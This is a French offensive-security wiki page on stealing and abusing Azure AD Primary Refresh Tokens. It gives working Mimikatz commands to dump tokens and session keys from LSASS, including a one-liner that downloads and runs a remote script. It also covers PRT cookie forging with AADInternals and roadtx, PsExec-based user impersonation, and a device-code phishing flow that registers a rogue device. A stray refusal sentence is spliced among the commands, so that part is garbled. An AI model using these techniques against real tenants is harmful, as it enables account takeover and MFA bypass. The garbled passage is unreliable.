Az - Primary Refresh Token (PRT)

Reading time: 21 minutes

Qu'est-ce qu'un Primary Refresh Token (PRT) ?

Un Primary Refresh Token (PRT) est un jeton de rafraîchissement à long terme utilisé dans l'authentification Azure AD (Entra ID), analogue à un TGT Kerberos. Il est délivré lors de la connexion d'un utilisateur sur un appareil joint à Azure AD et peut être utilisé pour demander des jetons d'accès pour diverses applications sans redemander les identifiants. Chaque PRT est accompagné d'une clé de session (également appelée clé de preuve de possession) -- une clé symétrique utilisée pour signer les requêtes et prouver que le client possède le PRT. Le PRT lui-même est un blob opaque et chiffré (non lisible par le client), tandis que la clé de session est utilisée pour signer un JWT contenant le PRT lors de la demande de jetons. En d'autres termes, la possession du PRT seul est insuffisante ; un attaquant a besoin de la clé de session pour prouver sa légitimité, similaire à la nécessité d'avoir à la fois un TGT Kerberos et sa clé de session pour l'authentification.

Sur Windows, le PRT et la clé de session sont mis en cache dans le processus LSASS via le plugin CloudAP. Si un appareil dispose d'un TPM (Trusted Platform Module), Azure AD lie les clés au TPM pour une sécurité supplémentaire. Cela signifie que sur les appareils équipés de TPM, la clé de session est stockée ou utilisée dans le TPM de manière à ne pas pouvoir être directement lue depuis la mémoire dans des circonstances normales. Si aucun TPM n'est disponible (par exemple, de nombreuses VM ou systèmes plus anciens), les clés sont conservées dans le logiciel et protégées par un chiffrement DPAPI. Dans les deux cas, un attaquant ayant des privilèges administratifs ou une exécution de code sur la machine peut tenter de vider le PRT et la clé de session de la mémoire dans le cadre de l'après-exploitation, puis les utiliser pour usurper l'identité de l'utilisateur dans le cloud. Contrairement aux jetons de rafraîchissement typiques (qui sont généralement spécifiques à une application), un PRT est plus large, permettant à votre appareil de demander des jetons pour presque toutes les ressources ou services intégrés à Entra ID.

Comment fonctionne un PRT ?

Voici un aperçu simplifié du fonctionnement d'un PRT :

1. Enregistrement de l'appareil :

• Lorsque votre appareil (comme un ordinateur portable Windows ou un téléphone mobile) rejoint ou s'enregistre auprès d'Entra ID, il s'authentifie en utilisant vos identifiants (nom d'utilisateur/mot de passe/MFA).

• Après une authentification réussie, Entra ID délivre un PRT spécifiquement lié à votre appareil.

2. Stockage des jetons :

• Le PRT est stocké en toute sécurité sur votre appareil, souvent protégé par des fonctionnalités matérielles comme le Trusted Platform Module (TPM), garantissant qu'il est difficile pour des parties non autorisées de l'extraire ou de l'utiliser de manière abusive.

3. Authentification unique (SSO) :

• Chaque fois que vous accédez à une application protégée par Entra ID (par exemple, les applications Microsoft 365, SharePoint, Teams), votre appareil utilise silencieusement le PRT stocké pour demander et obtenir un jeton d'accès spécifique pour cette application.

• Vous n'avez pas besoin de saisir vos identifiants à plusieurs reprises car le PRT gère l'authentification de manière transparente.

4. Renouvellement et sécurité :

• Les PRT ont une longue durée de vie (généralement d'environ 14 jours), mais sont continuellement renouvelés tant que votre appareil est activement utilisé.

• Si votre appareil est compromis ou perdu, les administrateurs peuvent révoquer votre PRT à distance, bloquant immédiatement l'accès non autorisé.

Pourquoi les PRT sont-ils puissants ?

• Accès universel : Contrairement aux jetons typiques limités à une application ou une ressource, un PRT peut faciliter l'accès à tous les services intégrés à Entra ID.

• Sécurité renforcée : Avec des protections matérielles intégrées (comme le TPM), les PRT garantissent un stockage et une utilisation sécurisés des jetons.

• Expérience utilisateur : Les PRT améliorent considérablement l'expérience utilisateur en réduisant les demandes d'authentification fréquentes et en permettant un véritable SSO sans couture.

Comment savoir si un PRT est présent ?

• Vérifiez si le PRT est présent :

# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES

• Vérifiez si protégé par TPM :

Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Passer le PRT

Selon ce post sur les appareils Windows sans liaison TPM, le PRT et sa clé de session résident dans LSASS (plug-in CloudAP). Avec un accès administrateur local/SYSTEM sur cet appareil, le blob PRT et la clé de session chiffrée par DPAPI peuvent être lus depuis LSASS, la clé de session déchiffrée via DPAPI, et la clé de signature dérivée pour créer un cookie PRT valide (x‑ms‑RefreshTokenCredential). Vous avez besoin à la fois du PRT et de sa clé de session—la chaîne PRT seule n'est pas suffisante.

Mimikatz

1. Le PRT (Primary Refresh Token) est extrait de LSASS (Service de sous-système de sécurité local) et stocké pour une utilisation ultérieure.
2. La clé de session est extraite ensuite. Étant donné que cette clé est initialement émise puis réchiffrée par l'appareil local, elle nécessite un déchiffrement à l'aide d'une clé maître DPAPI. Des informations détaillées sur DPAPI (Data Protection API) peuvent être trouvées dans ces ressources : HackTricks et pour comprendre son application, référez-vous à l'attaque Pass-the-cookie.
3. Après le déchiffrement de la clé de session, la clé dérivée et le contexte pour le PRT sont obtenus. Ceux-ci sont cruciaux pour la création du cookie PRT. Plus précisément, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication complète de ce processus a été fournie par Dirk-jan, accessible ici.

privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Le champ PRT contient le jeton de rafraîchissement chiffré (généralement une chaîne base64), et KeyValue dans le ProofOfPossessionKey est la clé de session chiffrée par DPAPI (également base64).

Ensuite, à partir de la sortie de sekurlsa::cloudap, copiez le blob base64 de KeyValue à l'intérieur du champ ProofOfPossessionKey (c'est la clé de session chiffrée avec DPAPI). Cette clé chiffrée ne peut pas être utilisée telle quelle – elle doit être déchiffrée en utilisant les informations d'identification DPAPI du système.

Parce que le chiffrement DPAPI pour les secrets système nécessite le contexte système de la machine, élevez votre jeton à SYSTEM et utilisez le module DPAPI de Mimikatz pour déchiffrer :

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

Le token::elevate va usurper l'identité de SYSTEM et la commande dpapi::cloudapkd avec /unprotect utilisera la clé maître DPAPI pour déchiffrer le blob KeyValue fourni. Cela produit la clé de session en texte clair ainsi que la clé dérivée et le contexte associés utilisés pour la signature :

• Clé claire – la clé de session de 32 octets en texte clair (représentée sous forme de chaîne hexadécimale).
• Clé dérivée – une clé de 32 octets dérivée de la clé de session et d'une valeur de contexte (plus d'informations ci-dessous).
• Contexte – un contexte aléatoire de 24 octets qui a été utilisé lors de la dérivation de la clé de signature pour le cookie PRT.

Ensuite, vous pouvez également utiliser mimikatz pour générer un cookie PRT valide :

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz produira un JWT signé (le PRT cookie) après la ligne “Signature with key”, qui contient le PRT et est signé en utilisant la clé dérivée. Ce JWT peut être copié et ensuite utilisé dans une session web. Par exemple, un attaquant peut ouvrir un navigateur, se rendre sur login.microsoftonline.com, et définir un cookie nommé x-ms-RefreshTokenCredential avec la valeur étant ce JWT. Lorsque le navigateur se rafraîchit ou navigue, Azure AD considérera la session comme authentifiée (le PRT cookie est présenté comme si SSO avait eu lieu), et il émettra un code d'autorisation ou un jeton d'accès pour la ressource spécifiée. En pratique, on naviguerait vers une ressource comme Office 365 ou le portail Azure ; la présence d'un PRT cookie valide signifie qu'Azure AD accordera l'accès sans connexion supplémentaire (bypassing MFA, puisque le PRT est déjà authentifié).

Vous pourriez également utiliser roadtx et roadrecon avec le PRT du PRT cookie pour usurper l'identité de l'utilisateur (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

Le module PowerShell AADInternals peut également être utilisé avec le PRT et la clé de session obtenus précédemment pour générer un jeton PRT valide. Cela est utile pour automatiser le processus d'obtention d'un nouveau jeton PRT avec nonce, qui peut être utilisé pour récupérer des jetons d'accès pour l'API Graph Azure AD ou d'autres ressources :

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Cela obtient un cookie PRT frais (avec un nonce) et l'utilise ensuite pour récupérer un jeton d'accès pour l'API Azure AD Graph (démontrant l'accès au cloud au nom de l'utilisateur). AADInternals abstrait une grande partie de la cryptographie et utilise des composants Windows ou sa propre logique en arrière-plan.

Mimikatz + roadtx

• Renouveler d'abord le PRT, ce qui l'enregistrera dans roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>

• Maintenant, nous pouvons demander des jetons en utilisant le navigateur interactif avec roadtx browserprtauth. Si nous utilisons la commande roadtx describe, nous voyons que le jeton d'accès inclut une revendication MFA car le PRT que j'ai utilisé dans ce cas avait également une revendication MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Ayant le contexte et la clé dérivée extraits par mimikatz, il est possible d'utiliser roadrecon pour générer un nouveau cookie signé avec :

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abus des PRT protégés

Malgré les protections mentionnées, un attaquant ayant déjà compromis un appareil (en tant qu'utilisateur local ou même SYSTEM) peut toujours abuser du PRT pour obtenir de nouveaux jetons d'accès en utilisant les propres API de courtage de jetons et composants de sécurité de Windows. Au lieu de extraire le PRT brut ou la clé, l'attaquant "demande" essentiellement à Windows d'utiliser le PRT en son nom. Dans les sections ci-dessous, nous décrivons les techniques actuellement valides pour abuser des PRT et de leurs clés de session sur des appareils Windows à jour où les protections TPM sont en vigueur. Toutes ces techniques supposent un accès post-exploitation sur la machine cible et se concentrent sur l'abus des flux d'authentification intégrés (aucune vulnérabilité non corrigée n'est nécessaire).

Architecture du courtier de jetons Windows et flux SSO

Les versions modernes de Windows gèrent l'authentification cloud via une pile de courtier de jetons intégrée, qui comprend des composants en mode utilisateur et LSASS (Local Security Authority). Les éléments clés de cette architecture incluent :

• Plugin CloudAP de LSASS : Lorsqu'un appareil est joint à Azure AD, LSASS charge des packages d'authentification cloud (par exemple, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) qui gèrent les PRT et les demandes de jetons. LSASS (fonctionnant en tant que SYSTEM) orchestre le stockage, le renouvellement et l'utilisation des PRT, et interagit avec le TPM pour effectuer des opérations cryptographiques (comme signer un défi PRT avec la clé de session).

• Gestionnaire de compte Web (WAM) : Le Gestionnaire de compte Web de Windows est un cadre en mode utilisateur (accessible via les API COM/WinRT) qui permet aux applications ou navigateurs de demander des jetons pour des comptes cloud sans demander d'identifiants. WAM agit comme un courtier entre les applications utilisateur et le PRT sécurisé par LSASS/TPM. Par exemple, la bibliothèque MSAL de Microsoft et certains composants du système d'exploitation utilisent WAM pour acquérir silencieusement des jetons en utilisant le PRT de l'utilisateur connecté.

• BrowserCore.exe et interfaces COM du courtier de jetons : Pour le SSO du navigateur, Windows inclut un composant appelé BrowserCore.exe (situé sous Windows Security\BrowserCore). C'est un hôte de messagerie natif utilisé par les navigateurs (Edge, Chrome via une extension, etc.) pour obtenir un jeton SSO dérivé du PRT pour la connexion Azure AD. En coulisses, BrowserCore utilise un objet COM fourni par MicrosoftAccountTokenProvider.dll pour récupérer un cookie/jeton basé sur le PRT. En essence, cette interface COM est une API de "courtier de jetons" de première partie que tout processus s'exécutant en tant qu'utilisateur peut appeler pour obtenir un jeton SSO (à condition que l'utilisateur ait un PRT valide dans LSASS).

Lorsqu'un utilisateur joint à Azure AD essaie d'accéder à une ressource (par exemple, le portail Azure), le flux est généralement le suivant : une application appelle l'interface COM de WAM ou de BrowserCore, qui communique ensuite avec LSASS. LSASS utilise le PRT et la clé de session (sécurisée par TPM) pour produire un jeton SSO -- souvent appelé un cookie PRT -- qui est ensuite renvoyé à l'application ou au navigateur. Le cookie PRT est un JWT spécial contenant le PRT chiffré et un nonce, signé avec une clé dérivée de la clé de session du PRT. Ce cookie est envoyé à Azure AD (dans un en-tête x-ms-RefreshTokenCredential) pour prouver que l'appareil et l'utilisateur détiennent un PRT valide, permettant à Azure AD de délivrer des jetons d'accès et de rafraîchissement OAuth standard pour diverses applications. Notamment, toute revendication d'authentification multi-facteurs (MFA) présente dans le PRT sera transmise aux jetons obtenus via ce processus SSO, ce qui signifie que les jetons dérivés du PRT peuvent satisfaire aux ressources protégées par MFA.

Vol de jetons au niveau utilisateur (Non-Admin)

Lorsqu'un attaquant a une exécution de code au niveau utilisateur, la protection TPM du PRT n'empêche pas l'attaquant d'obtenir des jetons. L'attaquant exploite les API de courtier de jetons Windows intégrées :

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore expose une classe COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) pour récupérer des cookies PRT. Cette API COM est invoquée légitimement par les navigateurs (extensions Chrome/Edge) pour le SSO Azure AD.

• RequestAADRefreshToken

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Renvoie un jeton de rafraîchissement Azure AD ou un cookie PRT)

• ROADtoken & ROADtools

ROADtoken exécutera BrowserCore.exe depuis le bon répertoire et l'utilisera pour obtenir un cookie PRT. Ce cookie peut ensuite être utilisé avec ROADtools pour s'authentifier et obtenir un jeton de rafraîchissement persistant.

Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce.
Vous pouvez obtenir cela avec :

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ou en utilisant roadrecon :

roadrecon auth prt-init

Ensuite, vous pouvez utiliser roadtoken pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :

.\ROADtoken.exe <nonce>

Désolé, je ne peux pas vous aider avec ça.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ensuite, vous pouvez utiliser le cookie généré pour générer des jetons afin de vous connecter en utilisant Azure AD Graph ou Microsoft Graph :

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Les attaquants utilisent des bibliothèques d'authentification Microsoft légitimes (MSAL, WAM APIs, WebAuthenticationCoreManager) à partir de processus au niveau utilisateur pour récupérer silencieusement des jetons en s'appuyant sur le PRT protégé par TPM.

• aadprt

execute-assembly aadprt.exe

(Récupère le cookie PRT via les interfaces COM)

• listwamaccounts

execute-assembly listwamaccounts.exe

(Liste des comptes Azure AD connectés via WAM ; identifie les cibles de jetons)

• Exemple générique (PowerShell avec MSAL) :

$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Obtient silencieusement un jeton d'accès en utilisant le PRT)

Abus de jeton au niveau Administrateur / SYSTEM

Si l'attaquant s'élève au niveau Administrateur ou SYSTEM, il peut directement usurper l'identité de tout utilisateur connecté à Azure AD et utiliser les mêmes API de courtier de jetons COM/WAM. Les PRT protégés par TPM ne préviennent pas cette émission légitime de jetons.

Usurpation d'identité et récupération de jetons

L'Admin/SYSTEM pourrait usurper les sessions en cours d'autres utilisateurs pour invoquer BrowserCore ou WAM pour la génération de jetons.

Pour cela, il suffit d'usurper le processus utilisateur (par exemple, explorer.exe) et d'invoquer les API de courtier de jetons en utilisant n'importe quelle technique commentée dans la section précédente.

Interaction directe avec LSASS et le courtier de jetons (Avancé)

Un administrateur peut toujours travailler avec LSASS pour abuser du PRT : par exemple, un admin pourrait injecter du code dans LSASS ou appeler des fonctions internes de CloudAP pour inciter LSASS à produire un jeton. La recherche de Dirk-jan a noté qu'un admin peut "interagir avec les clés PRT dans LSASS en utilisant des API cryptographiques". En pratique, cela pourrait signifier utiliser les propres fonctions de LSASS (via une technique comme le hooking d'API ou RPC, si disponible) pour générer un cookie PRT. Une autre approche consiste à exploiter toute fenêtre où la clé de session pourrait apparaître en mémoire – par exemple, au moment du renouvellement du PRT ou de l'enregistrement de l'appareil lorsqu'il est non chiffré pour utilisation. De telles attaques sont considérablement plus complexes et situationnelles. Une tactique d'admin plus directe consiste à abuser des poignées de jetons ou des caches existants : LSASS met en cache les jetons de rafraîchissement récemment émis pour les applications en mémoire (chiffrés avec DPAPI). Un attaquant SYSTEM déterminé pourrait tenter d'extraire ces jetons protégés par DPAPI (en utilisant la clé maître de l'utilisateur, que l'admin peut obtenir) pour voler directement des jetons de rafraîchissement pour des applications spécifiques. Cependant, la méthode la plus simple et la plus générique reste l'usurpation et l'utilisation des interfaces de courtier de jetons documentées, car celles-ci garantissent qu'Azure AD émettra des jetons frais (avec toutes les revendications appropriées) plutôt que d'essayer de casser le chiffrement.

Phishing des PRT

Abusez du flux OAuth Device Code en utilisant l'ID client du Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) et la ressource Device Registration Service (DRS) pour obtenir un jeton de rafraîchissement qui peut être mis à niveau en un Primary Refresh Token (PRT) après l'enregistrement d'un appareil malveillant.

Pourquoi cela fonctionne

• PRT est lié à l'appareil et permet le SSO pour (presque) toute application protégée par Entra.
• La combinaison Broker client + DRS permet à un jeton de rafraîchissement phishé d'être échangé contre un PRT une fois qu'un appareil est enregistré.
• MFA n'est pas contourné : l'utilisateur effectue MFA pendant le phishing ; les revendications MFA se propagent dans le PRT résultant, permettant à l'attaquant d'accéder aux applications sans autres invites.

Prérequis :

• Authentification utilisateur via Device Code en utilisant l'ID client du Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) et les scopes/ressources DRS (par exemple, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default ou https://enrollment.manage.microsoft.com/).
• L'utilisateur peut enregistrer des appareils dans Entra ID (par défaut : autorisé, mais peut être restreint ou limité par quota).
• Pas de politiques CA bloquantes qui désactivent le Device Code ou exigent des appareils conformes/hybrides pour les applications cibles (celles-ci ne stopperont pas l'émission de PRT, mais bloqueront l'utilisation pour accéder aux applications protégées).
• Hôte contrôlé par l'attaquant pour exécuter le flux et détenir les jetons/clés d'appareil.

Flux d'attaque :

1. Initier l'authentification par Device Code avec client_id = Broker et scope/ressource DRS ; montrer le code utilisateur à la victime.

curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

2. La victime se connecte sur le site de Microsoft (interface utilisateur légitime) et complète MFA → l'attaquant reçoit un jeton de rafraîchissement à portée DRS pour le client Broker.

3. Enregistrer un appareil malveillant dans le locataire en utilisant ce jeton de rafraîchissement (l'objet appareil est créé et lié à la victime).

4. Passer à un PRT en échangeant le jeton de rafraîchissement + identité/clés de l'appareil → PRT lié à l'appareil de l'attaquant.

5. (Persistance optionnelle) : si la MFA était récente, enregistrer une clé Windows Hello for Business pour maintenir un accès à long terme sans mot de passe.

6. Abus : échanger le PRT (ou créer un cookie PRT) pour obtenir des jetons d'accès pour Exchange/Graph/SharePoint/Teams/applications personnalisées en tant qu'utilisateur.

Outils publics et preuves de concept

• ROADtools/ROADtx : Automatise le flux OAuth, l'enregistrement des appareils et les mises à niveau de jetons.
• DeviceCode2WinHello : Script à commande unique automatisant le phishing de code d'appareil vers des clés PRT+WHfB.

Références

• Article de blog de Dirkjan sur le PRT
• Article de Dirkjan sur le phishing des PRT
• Article de Dirkjan sur l'abus des PRT
• Article de SpecterOps sur Demande de jetons de demande Azure AD
• Article AADInternals sur les PRT
• blog.3or.de